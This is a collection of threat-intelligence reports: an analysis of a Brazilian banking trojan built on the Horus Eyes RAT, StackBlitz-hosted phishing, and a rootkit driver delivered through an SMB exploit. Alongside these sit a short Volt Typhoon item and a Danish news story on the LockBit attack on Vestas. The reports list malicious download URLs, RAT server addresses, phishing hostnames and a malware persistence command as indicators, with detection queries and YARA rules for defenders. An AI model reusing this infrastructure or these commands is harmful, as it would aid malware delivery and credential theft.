text
stringlengths 8
115k
|
---|
# The clandestine Horus Eyes RAT: From the underground to criminals’ arsenal
Nowadays, the volume of banking trojans has increased both in number and sophistication, with criminals bringing more potent cyberweapons from the underground to equip their malicious arsenal. This phenomenon is connected to the criminals’ mindset: cause less noise, keep threats in the wild for as long as possible, and thereby impact users on a large scale.
## Overview
In this article, we discuss a newly discovered trojan banker called “warsaw” by its developers from Latin America. Developed in .NET and using the recent and undercover Horus Eyes RAT to fully compromise victims’ machines, this is the first time a threat is using this RAT during its operation.
The warsaw trojan banker built in .NET uses the first stage to lure the victim to install the second stage on their machine. The second binary – a customized version of the Horus Eyes RAT – creates persistence, collects details about the infected machines such as computer name, username, OS version, CPU/architecture, and language, and captures details from opened foreground windows matching its name with a specific hardcoded string. Finally, all the data is sent to the criminals’ side through a Telegram bot/channel.
Since this malware is a custom development of Horus Eyes RAT, it inherits the entire RAT engine. Criminals use a ngrok TCP tunnel hosted on an AWS EC2 instance to establish communication with victims’ machines.
Horus Eyes RAT is the name of the recent upgrade of an old RAT called SpyBoxRat, which comes from underground forums. It was released in the wild on GitHub by its developer in 2021. The criminals behind the warsaw trojan banker are taking advantage of this RAT to allegedly control the victims’ computers after the initial infection.
## Key findings
- Warsaw trojan banker tries to trick victims into proceeding with the infection chain using an overlay window from a popular bank.
- The loader (2nd stage) – a customized version of the Horus Eyes RAT – is downloaded and creates persistence via the Windows registry, scanning the machine for sensitive files, juicy data, running processes, Windows Certificate Store, and more.
- Foreground windows are captured and matched with the substring “santander”.
- Details are sent to a Telegram channel under criminals’ control.
- Horus Eyes RAT is installed in the background during the banking trojan execution, connecting back to the criminals’ side via a ngrok TCP URL hardcoded inside the trojan binary.
## Threat analysis in-depth
In this section, we analyze the details of this threat, step-by-step, how it operates, what kind of data is exfiltrated, and learn about the Horus Eyes RAT – the cyber weapon used by warsaw developers to fully compromise the victims’ machines.
### Warsaw trojan banker – the 1st stage
- **Filename**: SantanderModulo.exe / warsaw-19-07-2021.exe
- **MD5**: C396FCD76492FD9CC11E622B6C432412
- **Creation date**: 16-02-2021
The first alert on this banking trojan was triggered by the 0xSI_f33d engine agents that reported a new and suspicious domain. After interacting with the domain, a new PE file is downloaded in the form of an EXE. During this investigation, we cannot understand how this threat was operated or if it was spread by malware operators.
By looking at the whois registry, we learn the domain was created two days before the 0xSI_f33d detection. At first glance, criminals were preparing a new malware wave and using that domain to download additional malware stages.
The URL is hardcoded inside the binary with the full path to the 2nd stage (loader.exe / stub.exe). The full path of the PDB file, an interesting artifact for tracking and learning about criminals’ movements, telemetry, their activities, and how the threat is disseminated, was found. Notice that, at the moment we analyzed the sample, only 2 AV engines classified this 1st stage as malicious.
### Going into the details
As present in the analysis, we can observe the internal name of this trojan “warsaw”, and some details such as the Assembly version, Target framework, and the initial entry point.
By analyzing the trojan source code, we notice an interesting routine inside button1. The 2nd stage is downloaded into the “AppData/Local/Temp” folder, executed in runtime, and a message is presented to inform the victim that the process was successfully completed.
Then, the malware obtains the “Environment.SpecialFolder.LocalApplicationData” folder from the victim’s machine and downloads the warsaw 2nd stage into it and executes it.
The GUI behind the process is simple and presented by a .NET bait window.
### Warsaw trojan banker – the 2nd stage & RAT
- **Filename**: Stub.exe / loader.exe
- **MD5**: 8DF8BD1A1062E051AD3092BF58E69400
- **CPU**: x64
The 2nd stage of the warsaw banking trojan is an upgrade of the Horus Eyes RAT source code. Since the RAT source code is now available on GitHub, criminals can get it and introduce new functionalities and TTPs to improve their malicious arsenal.
The new features implemented in this customized version are:
- A registry key on CurrentVersion/Run entry to auto-execute the trojan at OS startup.
- Implementation of a notification mechanism via Telegram to inform criminals when the victims are accessing or navigating on a target bank portal.
- Criminals use the full capabilities of the RAT to gain full control over the victims’ machines.
By analyzing the binary, we understand that some resources were embedded and could be implanted in runtime during the trojan execution. The name of the injected file is “options.dll”, part of the modus operandi and dependencies of the Horus Eyes RAT.
By comparing the extracted file named “r1.bin“ and the original file “Options.dll” downloaded from the GitHub page, we can prove that we are facing an upgrade of the Horus Eyes RAT; only the PDB path seems different between the files analyzed. More, 131 well-formatted strings were detected in both files.
### Matching warsaw with the Horus Eyes RAT available on GitHub
To match the differences between the original RAT available on GitHub and this newly improved version, we downloaded the original version and compared both.
During this analysis, it was possible to understand the resources are the same, and just specific routines were added to introduce the Telegram feature and the creation of the registry key to maintain the trojan persistence.
In short, the main changes introduced by criminals are:
- Telegram notification mechanism implemented on the “Check()” and “Main()” routines.
- Creation of the “doSubmitHTTPRequest()” routine to perform the HTTP GET request to the Telegram API with the victims’ data.
The “Main()” routine introduces a block of code responsible for maintaining communication with the Telegram API to inform criminals about a new infection. The block of the code of the routine “doSubmitHTTPRequest()” is responsible for sending the details to the Telegram bot/channel under the criminals’ operation.
In detail, we can see that at the moment the “Check()” function is executed, an entry is added to the Windows registry to create the trojan persistence, and the victim activity is then monitored in a loop. When the match with a hardcoded substring happens, some information is collected and sent to the Telegram bot/channel. This activity generates an alert on the criminals’ operation, allowing them to use the full capabilities of the Horus Eyes RAT now installed on the victims’ machines to fully compromise their banking accounts.
The trojan collects some information about the machine, including:
- Computer name
- Windows Version
- Current region + Language
- Name of the target bank portal
- User privileges (normal user or administrator)
- System architecture (x86 or x64).
The collected information is compiled in a string array and then sent to the Telegram channel through the doSubmitHTTPRequest() routine.
Taking advantage of the Telegram API, we got some interesting details to potentially track the criminals behind this malicious schema. Notably, 349 messages were sent to the Telegram channel before, potentially representing 349 infections. The username of the Telegram bot is “Banking171Bot”.
Curiously, in a past campaign detected in December 2020 called ANUBIS network, we identified a big banking schema from Brazil using the number “171” as a suffix (Anubis171). We don’t know if this could potentially be an indicator related to the same group, but the two criminal groups are from the same geolocation: Brazil. The name of the Telegram group is “KL – LOGS“, notifying criminals about new infections.
## Remote access using RAT capabilities
After receiving a notification about a new infection, criminals use the Horus Eyes RAT capabilities to access remotely and gain full control over the victims’ machines. The IP address and port of the Horus Eyes RAT are hardcoded on the binary file and hosted on an AWS EC2 instance geolocated in Brazil.
In order to confirm if the server was online at the moment of the analysis, we communicated with it and received a response.
These were definitely good news. With some tricks in place, the RAT server is used to control the victims’ machines, install additional payloads, get passwords from popular web browsers, access the file system, and take remote desktop screenshots. Criminals only cross-reference the data received by Telegram with the details present in the RAT server dashboard (the new infected clients).
## Web server – telemetry details
According to the VirusTotal service, many domains have been hosted on the same server during 2021, and many of them were flagged as malicious. This is a clear sign this AWS EC2 instance has been used by criminals to distribute malware schemas globally.
In addition, other threats were also disseminated and operated by this gang, such as VanillaRAT.
## The storyline behind Horus Eyes RAT
Arsium is the author of the Horus Eyes RAT and other offensive software developed and shared on underground Internet forums. This software was released on GitHub in early 2021, and now criminals are taking advantage of its features and FUD (Fully Undetectable) capability to bypass security mechanisms such as EDRs and antivirus.
However, Horus Eyes RAT is not the first software Arsium has developed. This RAT is the successor to the old SPYBOXRAT, which Arsium released in 2020 in underground forums.
By making this offensive software open-source, Arsium gained valuable input from the underground community, allowing it to continue developing and implementing new features, thus making it a potent silent weapon.
Sometime around December 2020, Arsium decided to create a new release called Horus Eyes RAT. This new software was equipped with the basic engine of its predecessor and new features implemented as a result of community feedback.
At the end of December 2020, we found the first official publication from Arsium, where the first Horus Eyes RAT update was announced. At the time, the software was not open source, and the community had to pay credits to get it.
As stated by Arsium, “for those who have forked starred the project, I’ve destroyed previous GitHub and made a new repository (I got some problems with the old)” – a clear sign this tool has had a huge contribution from the underground community during its development.
From that point forward, Horus Eyes RAT was carefully tracked by criminal groups due to its capabilities and ability to bypass security mechanisms, making it very stealthy and FUD.
Later, on 26th February 2021, the RAT was open-source and released on GitHub. The publication date on GitHub coincides with the third update of the offensive tool that its author announced on the same day on underground forums.
We believe this was the moment criminals started looking at this RAT as a potential candidate for upgrading their cyber arsenal. The RAT came with an amazing set of features that would fit neatly into the malicious goals of most cyber gangs.
## Final Thoughts
We are currently facing a rapid increase in Brazilian trojans, each with its peculiarities and TTPs. The technique of embedding other binaries in the initial stage is not new; however, the use of the new RAT called Horus Eyes RAT was the main focus of this article.
With this mindset and tools from underground forums, criminal gangs achieve one of their main goals: to avoid detection and impact a large number of users.
Although the author of the RAT had educational intentions, the source code of the RAT is now in the criminals’ hands. It was the first time it was found being disseminated along with a malicious threat like this new trojan impacting users of a singular international bank.
Therefore, monitoring these types of IoCs is crucial, as it is expected that in the coming weeks or months, new variants based on this RAT may appear.
## Indicators of Compromise (IOCs)
- **Online server with warsaw stages**
- hxxps://modoseguranca.com/loader.exe
- hxxps://modoseguranca.com/warsaw-19-07-2021.exe
- 45.132.242.60
- 8DF8BD1A1062E051AD3092BF58E69400
- C396FCD76492FD9CC11E622B6C432412
- **AWS EC2 Instance RAT server**
- ec2-54-94-248-37.sa-east-1.compute.amazonaws.com
- 54.94.248.37
- 1.tcp.sa.ngrok.io
- **Artifacts**
- C:\Users\xxx\AppData\Local\Temp\warsaw-19-07-2021.exe
- schtasks /create /sc minute /mo 1 /tn "||" /tr "costura.packetlib.pdb.compressed"
- costura.packetlib.dll.compressed
- costura.options.dll.compressed
- **PDB paths**
- C:\Users\ada\Desktop\HorusEyesRat_Public-master\Options\obj\Debug\Options.pdb
- C:\Users\ada\Desktop\definitivo\bb\Client\obj\x64\Debug\Stub.pdb
- C:\Users\ada\source\repos\SantanderModulo\SantanderModulo\obj\Debug\SantanderModulo.pdb
## Samples
- https://bazaar.abuse.ch/browse/tag/SantanderModulo/
## Yara Rule
```yara
import "pe"
rule warsaw_downloader_august_2021 {
meta:
description = "Yara rule for warsaw trojan banker (loader) - August version"
author = "SI-LAB - https://seguranca-informatica.pt"
last_updated = "2021-08-05"
tlp = "white"
category = "informational"
strings:
$s_a = {53 61 6E 74 61 6E 64 65 72 4D 6F 64 75 6C 6F 2E 77 61 72 73 61 77}
$s_b = {53 61 6E 74 61 6E 64 65 72 4D 6F 64 75 6C 6F 5C 53 61 6E 74 61 6E 64 65 72 4D 6F 64 75 6C 6F 5C 6F 62 6A 5C 44 65 62 75 67 5C 53 61 6E 74 61 6E 64 65 72 4D 6F 64 75 6C 6F 2E 70 64 62}
condition:
filesize < 1000KB
and all of ($s_*)
}
rule warsaw_2nd_stage_horus_eyes_rat_august_2021 {
meta:
description = "Yara rule for warsaw 2nd stage aka Horus Eyes RAT - August version"
author = "SI-LAB - https://seguranca-informatica.pt"
last_updated = "2021-08-05"
tlp = "white"
category = "informational"
strings:
$s_a = {63 6F 73 74 75 72 61 2E 64 6C 6C 2E 63 6F 6D 70 72 65 73 73 65 64}
$s_b = {63 6F 73 74 75 72 61 2E 6F 70 74 69 6F 6E73 2E 64 6C 6C 2E 63 6F 6D 70 72 65 73 73 65 64}
$s_c = {53 00 61 00 6E 00 74 00 61 00 6E 00 64 00 65 00 72}
$s_d = {2D 00 35 00 30 00 37 00 30 00 37 00 35 00 33 00 35 00 33 00}
condition:
filesize < 1000KB
and all of ($s_*)
}
```
The Yara rules are also available on GitHub.
## Author
Pedro Tavares is a professional in the field of information security working as an Ethical Hacker/Pentester, Malware Researcher, and Security Evangelist. He is also a founding member at CSIRT.UBI and Editor-in-Chief of the security computer blog seguranca-informatica.pt. In recent years, he has invested in the field of information security, exploring and analyzing a wide range of topics, such as pentesting (Kali Linux), malware, exploitation, hacking, IoT, and security in Active Directory networks. He is also a Freelance Writer and developer of the 0xSI_f33d – a feed that compiles phishing and malware campaigns targeting Portuguese citizens. |
# New Campaign Abusing StackBlitz Tool to Host Phishing Pages
There are numerous tools available to help individuals create new, exciting webpages. And, there seem to be just as many hackers looking to exploit these tools for their own gain. Recently, the Zscaler ThreatLabz Team came across various phishing campaigns that leverage the StackBlitz tool, using the preboot library functionality that helps ease the transition of the hosted webpage immediately from the server side to the client side. StackBlitz is an online integrated development environment (IDE) where anyone can create Angular JavaScript and React TypeScript projects that are immediately posted online. Attackers have targeted this method to host phishing pages. The purpose of the preboot library function is to help manage the transition of state from a server-generated web view to a client-generated web view.
In this blog, we will describe the phishing attacks hosted using the StackBlitz tool and its delivery vector in detail. We found these phishing URLs through our Threat Intelligence collection framework as well as online submissions to the ThreatLabZ team for review.
## Spam method 1
In this case, the spam link will be delivered via Microsoft’s OneDrive shareware service, pretending to be a document shared by a particular health organization. Once the user clicks the download link, it redirects the user to the Outlook phishing page.
Finally, it lands on the Outlook phishing campaign. The SSL certificate of the hosted domain is shown. The source code of the hosted phishing page with the preboot library functionality manages the user experience from the time when a server view is visible until the client view takes over control of the page.
While analyzing the preboot function, we also identified that the preboot library functionality uses the CachedFetch() module to check if a cached copy of the page is available or not. The preboot function returns the hosted webpage as a JSON file.
## Spam method 2
In this case, the spam link will host a web page with a message stating that you received a shared document with the associated document download link. Once the user clicks the download link, it redirects them to the OneDrive phishing campaign. If the user clicks the download document button, it will redirect the user to the OneDrive login phishing page.
If the user unknowingly clicks any of the phishing login methods to view the document, it will redirect the user to the relevant phishing page. Here, we clicked on the Office365 login method to view the document, which redirected us to a webpage that looks exactly like a legit Office365 site.
As we mentioned earlier, the source code of the webpage will be common to all the websites hosted using the StackBlitz tool, except for the URL link, which is passed as a parameter for the preboot function.
Once the login information has been entered by the user, the form will post the user’s credential details to malicious sites that are operated by the cybercriminals.
## Conclusion
Cybercriminals use tools, such as StackBlitz, to come up with smarter ways to start phishing campaigns and make it harder for security vendors to detect such campaigns. The Zscaler ThreatLabZ team is actively tracking these kinds of phishing attacks to ensure coverage for and to keep our customers safe.
## IOC:
**Spam 1**
- js-pgrnce.stackblitz.io
- wny.asia/a/linkage.php
**Spam 2**
- autojovi4x4.com/usa.html
- angular-ivy-aabnsh.stackblitz.io
- angular-ivy-yfhcr3.stackblitz.io
- notas.dyndns.dk/del3/login.php
**Other phishing domains observed:**
- 1nxbcc-hedxe8.stackblitz.io
- 2podk-ff4mtn.stackblitz.io
- 6eyyd-zjrnne.stackblitz.io
- 7djnd-jzc89e.stackblitz.io
- angular-ivy-aabnsh.stackblitz.io
- angular-ivy-epksfd.stackblitz.io
- angular-4ulsja.stackblitz.io
- angular-4vjbos.stackblitz.io
- angular-9gejbd.stackblitz.io
- angular-c8ebxa.stackblitz.io
- angular-e9ebhj.stackblitz.io
- angular-e9hqf9.stackblitz.io
- angular-emu4e4.stackblitz.io
- angular-exrste.stackblitz.io
- angular-f6xehy.stackblitz.io
- angular-ivy-1tsaka.stackblitz.io
- angular-ivy-2nghsv.stackblitz.io
- angular-ivy-3etd9y.stackblitz.io
- angular-ivy-4pk3st.stackblitz.io
- angular-ivy-62mfgk.stackblitz.io
- angular-ivy-8vrqfq.stackblitz.io
- angular-ivy-aabnsh.stackblitz.io
- angular-ivy-ayzk51.stackblitz.io
- angular-ivy-bkvyy7.stackblitz.io
- angular-ivy-c8ebrc.stackblitz.io
- angular-ivy-d55uqm.stackblitz.io
- angular-ivy-dug3fr.stackblitz.io
- angular-ivy-epksfd.stackblitz.io
- angular-ivy-feppa5.stackblitz.io
- angular-ivy-ikp1nd.stackblitz.io
- angular-ivy-jtatnb.stackblitz.io
- angular-ivy-jxxbb8.stackblitz.io
- angular-ivy-kxyakr.stackblitz.io
- angular-ivy-rsphh3.stackblitz.io
- angular-ivy-rv7qqo.stackblitz.io
- angular-ivy-tphvml.stackblitz.io
- angular-ivy-uvhyey.stackblitz.io
- angular-ivy-wwnxei.stackblitz.io
- angular-ivy-xkuivv.stackblitz.io
- angular-ivy-yfhcr3.stackblitz.io
- angular-ivy-zbaxnt.stackblitz.io
- angular-ivy-zff34d.stackblitz.io
- angular-jwnijt.stackblitz.io
- angular-kc1uhi.stackblitz.io
- angular-lcj5yi.stackblitz.io
- angular-lvy-bkvyy7.stackblitz.io
- angular-n21op8.stackblitz.io
- angular-nujspf.stackblitz.io
- angular-nvavzw.stackblitz.io
- angular-ojbaxu.stackblitz.io
- angular-pcn7ny.stackblitz.io
- angular-qx5ttm.stackblitz.io
- angular-soswe4.stackblitz.io
- angular-tjrwpf.stackblitz.io
- angular-vdwkgy.stackblitz.io
- angular-vv96yb.stackblitz.io
- angular-xeqzqy.stackblitz.io
- angular-xm7khp.stackblitz.io
- angular-zinz3v.stackblitz.io
- angular-zpsmud.stackblitz.io
- angular-zxmgsz.stackblitz.io
- angular-zzrtvx.stackblitz.io
- angular-vv96yb.stackblitz.io
- angular-pnpebe.stackblitz.io
- angular-cmjdm7.stackblitz.io
- angular-ivy-6d2vss.stackblitz.io
- hjgjhjn-csg4mf.stackblitz.io
- js-1withj.stackblitz.io
- js-2dfx8svt.stackblitz.io
- js-3jeoen.stackblitz.io
- js-6jce4b.stackblitz.io
- js-7tkbpg.stackblitz.io
- js-8j8wbj.stackblitz.io
- js-azirnd.stackblitz.io
- js-bfwssp.stackblitz.io
- js-bgqenm.stackblitz.io
- js-fx8svt.stackblitz.io
- js-iqgiwv.stackblitz.io
- js-iqqiwv.stackblitz.io
- js-kfkbak.stackblitz.io
- js-mdurny.stackblitz.io
- js-pgrnce.stackblitz.io
- js-pihxqe.stackblitz.io
- js-rzhdtg.stackblitz.io
- js-tk13zi.stackblitz.io
- js-v4zgeb.stackblitz.io
- js-xerqcn.stackblitz.io |
See what it's like to have a partner in the fight.
Our colleague Keya Horiuchi recently described a threat detection where the Local Security Authority Subsystem Service (LSASS) initiated a series of suspicious processes and attempted to install a trojan on a customer endpoint. In this post, we’re going to discuss what turned up when we pivoted off information from a very similar detection.
Threat hunting is fundamentally about pivoting and discovering new techniques or artifacts that you may have missed previously, which is precisely how we discovered some intriguing driver activity a few months back. Kernel-mode drivers function at a low level in the operating system, which can be problematic because malicious or vulnerable drivers—especially signed ones—can provide a stealthy, privileged position to conduct malicious activity.
Of course, driver and other signatures are meant to provide assurances for identity and integrity—not intent or capability. In this case, the driver in question was signed; it was also a de facto rootkit. However, there was suspicious activity prior to its installation, and the ancillary activity might be useful in detecting this and similarly inconspicuous threats moving forward.
### An intriguing driver
An important part of incident response is to examine all of the binaries that dropped on a system around the time of a malicious event. And that’s exactly how we stumbled on this particular binary in the Carbon Black binary store:
**File MD5 hash:** 2FAD0F279F7851AD6357C2DA8CE213A2
This file was particularly interesting given its filename, path, and explicitly distrusted status (its status has since changed to revoked). Why, for example, is a .sys file with “dump” in its name being dropped in the `c:\windows\system32\drivers\` path? There’s only one way to find out, so we brought the driver (`dump_76af3f80.sys`) into a test environment for closer analysis.
### Some observations
As you can see, the file’s certificate had expired or was not yet valid. A closer look revealed that the certificate had been explicitly revoked.
### On background
The adversary delivered the payload via a well-known exploit for a server message block (SMB) vulnerability, CVE-2017-0144, fixed in March 2017. It’s worth noting that the research team at NSFocus seemed to have found and reported on a substantially similar threat in their NuggetPhantom report. While their write-up focused on modules within the malware, how it attempts to evade detection, and its history, we’re going to examine how this particular threat manifested in endpoint telemetry and why—in general—you should keep an eye on the drivers in your environment.
### The process timeline
The first thing we see in the Red Canary detection is lsass.exe spawning rundll32.exe and msiexec.exe. As our colleague Keya pointed out a few blogs ago, it is highly unusual for LSASS to spawn rundll32, and it’s also unusual for msiexec.exe to make an external HTTP request. Both of these process relationships offer great opportunities for detection.
Here are some Carbon Black queries that might unearth this activity in the environment you’re monitoring:
- `parent_name:lsass.exe process_name:rundll32.exe`
- `parent_name:lsass.exe process_name:rundll32.exe`
- `childproc_name:msiexec.exe`
- `parent_name:rundll32.exe process_name:msiexec.exe`
- `(process_name:msiexec.exe cmdline:"/i" (cmdline:"http:" OR cmdline:"https:"))`
As you can see in the above timeline, msiexec eventually makes an outbound network connection and loads `downloadupdatemakegood.jpg`. In turn, that file decompresses `winupdate64.log`.
This is a bit of a sidebar, but we can also see the malicious software using netsh.exe to block ports 137, 138, 139, and 445, which prevents other adversaries from leveraging the same exploit to further compromise this host.
At the time we detected this threat, there wasn’t much in the way of publicly available blogs or research discussing this behavior, so we were largely unsure of what else may have been dropped. However, as we continued triaging, we discovered that the msiexec execution coincided with another file being dropped and injected into trusted processes: `ms7db53800app.dll`.
### Examining the driver
A quick search for `ms76af3f80app.dll` in Carbon Black revealed that its underlying binary is the same as another file, `ms76af3f80app.dll`, and that the MD5 hash associated with both files is `4209AE0CB569EFAB29CA9D2D7F4A211B`.
It’s worth noting—if only tangentially—that Carbon Black collects executables and DLLs the first time they are observed loading or executing. Ultimately, `ms76af3f80app.dll` then delivers the driver that we looked at in the opening of this blog (`dump_76af3f80.sys`). It’s a signed binary, and it matches the `digsig_subject` reported by NSFocus.
We observed the adversaries updating their binaries by downloading a new `*app.dll` file along with a pair of .xsl files. According to NSFocus, those are the DDoS and monero-mining modules.
This driver adds persistence to live within safe mode by modifying the safeboot registry values, a technique that Didier Stevens first described all the way back in 2007.
### Conclusion
Even in cases where a driver’s signature has expired or been revoked, it will still pass Driver Signature Enforcement and the operating system might even load it in some situations.
As defenders, we need to understand, enumerate, and evaluate what drivers are in our fleet. We need to understand how they arrived and what their intentions are. Unlike user-mode applications, we believe that kernel-mode drivers, while certainly dynamic, will have less change over time than user-mode applications. In this way, it’s feasible to track driver changes in order to keep an eye out for adversaries who would use kernel-mode drivers as surreptitious rootkits.
These types of attacks are the very reason Microsoft has developed Kernel Mode Code Integrity: to give defenders assurances that even though a driver is signed, it may not be sanctioned or approved for your environment, and therefore will not load.
### Indicators
- `2FAD0F279F7851AD6357C2DA8CE213A2`
- `AE8EDBEA9F2106D59147A377B86B412E`
- `4209AE0CB569EFAB29CA9D2D7F4A211B` |
# Volt Typhoon Targets US Critical Infrastructure with Living-off-the-Land Techniques
Microsoft has uncovered stealthy and targeted malicious activity focused on post-compromise credential access and network system discovery aimed at critical infrastructure organizations in the United States. The attack is carried out by Volt Typhoon, a state-sponsored actor based in China that typically focuses on espionage and information gathering. |
# Var tæt på at slukke tusindvis af vindmøller: Nu fortæller Vestas om cyberangreb
Allan Nisgaard
February 14, 2022
Fredag den 19. november 2021 klokken otte om aftenen får topchef i Vestas, Henrik Andersen, sved på panden. Vindmøllegiganten, der har 80.000 vindmøller fordelt på hele kloden, er nemlig blevet ramt af et såkaldt ransomware-angreb. Cyberkriminelle er trængt dybt ind i Vestas' netværk og har sat en væsentlig del af systemerne ud af funktion. For at åbne dem igen kræver de løsepenge. Det er uklart, om hackerne også har skaffet sig adgang til de systemer, der styrer vindmøllerne. Det skal Henrik Andersen og hans hold finde ud af - og det skal gå stærkt. Hvis Vestas af forsigtighed trykker på den helt store knap og slukker for de 50.000 vindmøller, de selv har direkte adgang til, kan millioner af borgere stå uden strøm.
Russiske hackere - både dem, der går efter penge, og de statsstøttede - har samme motiv. De vil finde et stort mål, hvor de kan lave så meget kaos som muligt. Andy Greenberg, journalist på Wired magasin og forfatter til bogen *Sandworm*.
Lukker Vestas ned, risikerer de, at hackerne kan udrette skader på vindmøllerne, som kan tage måneder at fikse. "Alt er i princippet kritisk, indtil man når til et stadie, hvor man kender fakta," siger Henrik Andersen. For første gang siden hackerangrebet åbner Vestas nu op og går i detaljer om hændelsen, der har påvirket topchefen kraftigt. "Det er noget, der for altid sætter sig dybt i éns person," siger Henrik Andersen.
## Hvem hackede Vestas?
Ransomware-angrebet mod Vestas blev udført med en type af ransomware, som hedder Lockbit 2.0. Gruppen bag Lockbit har rødder i Rusland og har angrebet blandt andet hospitaler og energiselskaber i en række lande. Lockbit opererer efter en såkaldt affiliate model, hvor godkendte "partnere" gennemfører selve angrebet og afpresningen, mens gruppen bag tager sig af det tekniske og indkasserer en procentdel af ofrenes betalinger. Blandt andet blev det italienske energiselskab ERG ramt af Lockbit 2.0, og herhjemme angreb hackere Kalundborg Forsyning med samme ransomware. Kalundborg Forsyning valgte dog ikke at betale nogen løsesum.
## Truslen mod energisektoren er ’meget høj’
Når en vindmøllegigant som Vestas bliver angrebet af hackere, kan det i værste tilfælde få langt større konsekvenser end låste systemer og tabte millionbeløb. Vestas er nemlig det, vi kalder kritisk infrastruktur. Alt det, vi betragter som samfundskritisk – heriblandt telekommunikation, veje, vandforsyning, skibstrafik, hospitalsvæsnet og elektricitet - er i dag forbundet elektronisk og derfor sårbart overfor cyberangreb. "Ude i verden tænker man på Danmark som landet bag Mærsk, Lego og Vestas. To ud af de tre (Mærsk og Vestas, red.) har allerede været ramt af cyberangreb. Så det sker allerede," siger Andy Greenberg.
Vestas' turbiner kan levere strøm til 240 millioner europæeres årlige energiforbrug, hvilket er over halvdelen af EU's befolkning. De er dermed en vigtig del af energisektoren. "Jeg er meget bekymret og følsom over, at nogle af vores medarbejdere ser dem selv blive taget med i sådan en konflikt her," siger Henrik Andersen.
Og den sektor er sårbar overfor cyberangreb, forklarer Søren Maigaard, der er direktør hos energisektorens cybersikkerhedsenhed, EnergiCERT. "Worst case-scenariet er, at nogle får kontrol over den kritiske infrastruktur og lukker ned for eksempelvis varmen eller for strømmen i et mindre område. Det skal understreges, at det er ekstraordinært svært at gøre. Men derfor skal man stadig passe på," fortsætter Søren Maigaard, der ikke ønsker at forholde sig til angrebet mod Vestas. Truslen fra ransomware-angreb mod den danske energisektor er vurderet til at være ’meget høj’ af Center for Cybersikkerhed.
Det er den blandt andet vurderet til at være, efter USA sidste år oplevede det største cyberangreb mod deres energi-infrastruktur nogensinde. Cyberkriminelle fik ram på landets største rørledning, Colonial Pipeline, der hver dag transporterer 378 millioner liter olie på den amerikanske østkyst. Da Colonial Pipeline ikke vidste, hvor seriøst det stod til, og heller ikke var i stand til at fakturere for olien, valgte de helt at lukke rørledningen i seks dage. Det på trods af at Colonial dagen efter angrebet betalte angriberne 5 millioner dollars for at få systemerne låst op igen. Både den amerikanske regering og FBI blev involveret i situationen, der risikerede at hæve amerikanske benzinpriser markant. "Når jeg kigger tilbage på det, så er det en lærerig erfaring. Men det er nok en af de dyrere købte erfaringer," lyder det fra topchef i Vestas Henrik Andersen.
## Truer med at offentliggøre stjålne dokumenter
Da Vestas får bekræftet, at der er tale om et cyberangreb, går de næste timer med at opklare præcis, hvor seriøst det står til. "Fra det tidspunkt tager vi det simpelthen en time ad gangen," siger Henrik Andersen. Klokken tre om natten står det klart, at hackerne ikke har formået at trænge ind til de systemer, der styrer Vestas' mange møller rundt i verden. "Det gør, at vi kan træffe beslutningen om ikke at lukke for vores turbiner i hele verden. Men vi lukker stort set alt andet ned," siger Henrik Andersen og fortsætter: "Hele vores kommunikationsdel kan dog fortsætte upåvirket. Så vores mail, vores teams og vores videoer kan køre videre. Det er en stor fordel."
Hackerangrebet er dog langt fra overstået for Vestas, der får hjælp fra sikkerhedsfirmaet CSIS Security Group og Center for Cybersikkerhed. Udover at have låst IT-systemerne truer hackergruppen nu også med at offentliggøre tusindvis af stjålne dokumenter, hvis ikke Vestas betaler en løsesum. Det kaldes dobbeltafpresning. Inde på det såkaldte dark web tikker et ur. Det viser, hvor lang tid Vestas har til at betale løsesummen. Uret vises på en side på dark web, hvor virksomheder bliver hængt til tørre af den cyberkriminelle gruppe LockBit. Det er her, at følsomme dokumenter bliver lækket, hvis ikke virksomhederne betaler løsesummen.
## Alt bliver lækket
Sammen med cybersikkerhedsfolkene håndterer Vestas selv de data, der er blevet krypteret og dermed skal genskabes fra backups. De har fra starten besluttet sig for ikke at betale de kriminelle hackere. Hverken driften af vindmøllerne eller den daglige produktion er påvirket. Men hackerne gør alvor af deres trussel. De begynder at offentliggøre store mængder stjålne filer fra Vestas' systemer. Blandt dem er finansielle dokumenter, tekniske tegninger af vindmøller samt meget personlige oplysninger på centrale medarbejdere. Herunder Henrik Andersens pas. "Jeg sidder her som direktør i Vestas, men også som privatperson. Det er jo selvfølgelig at overskride ens personlige grænse," siger Henrik Andersen og fortsætter: "Jeg er meget bekymret og følsom over, at nogle af vores medarbejdere ser dem selv blive taget med i sådan en konflikt her. Det berører mig," fortsætter Henrik Andersen.
## Hvordan kan produktion og drift blive hacket?
Udover et IT-system har virksomheder, der betragtes som kritisk infrastruktur, også såkaldte OT-systemer (Operational Technology). OT-systemer styrer de industrielle maskiner. IT- og OT-systemer bør holdes adskilt, men i dag er det blevet mere almindeligt at koble dem sammen for at fjernstyre eller automatisere processerne. Det bliver kaldt det industrielle Internet Of Things (IIoT), og det er både nemmere og billigere for firmaerne at gøre det på denne måde. Men så snart OT-systemer er koblet sammen med IT-systemer, kan hackere også potentielt komme ind. I en del cyberangreb rammer hackerne dog slet ikke OT-systemet, enten fordi det ikke lykkedes, eller fordi det ikke har været planen. Nogle firmaer ender dog alligevel med at lukke dele af driften, da de ikke har viden om, hvorvidt deres OT-system er ramt eller ej.
## Ekspert: Vi ser hundredvis af angrebsforsøg om dagen
Vestas er langt fra den eneste virksomhed i den danske energisektor, som hackere forsøger at komme igennem til. Hos sikkerhedscenteret EnergiCERT i Kolding holder de øje med cybertrusler, der kommer ind mod cirka 100 virksomheder i Danmark indenfor fjernvarme, el og gas. Det kan de ved hjælp af sensorer, som de har stående ude ved virksomhederne. "Vi ser hundredvis af forsøg på angreb om dagen. I langt de fleste tilfælde fejler angrebene, fordi selskaberne har sat de rigtige sikkerhedsværn på plads. Og det er jo positivt," siger direktør Søren Maigaard. Men hvis der pludselig opstår en fejl i sikkerheds-softwaren, og der skal foretages en opdatering, så sidder hackerne klar til at angribe. I perioden, fra fejlen opstår, til opdateringen bliver installeret, opstår der nemlig et hul: "De kan slå til inden for minutter. Derfor bør man som virksomhed have flere forskellige forsvarsmekanismer på plads, så der altid er noget, der kan gribe ind," siger Søren Maigaard.
Selvom energisektoren er meget sårbar overfor cyberangreb, så understreger Søren Maigaard, at der tilsvarende skal meget til, før infrastruktur kan blive lagt ned. "Der er 400 energiselskaber i Danmark, så det er en ekstremt decentralt opbygget infrastruktur. Det betyder, at du ikke bare kan hacke et enkelt selskab og så lukke landet ned. Du skal angribe et utal af selskaber, og det er meget svært at gøre."
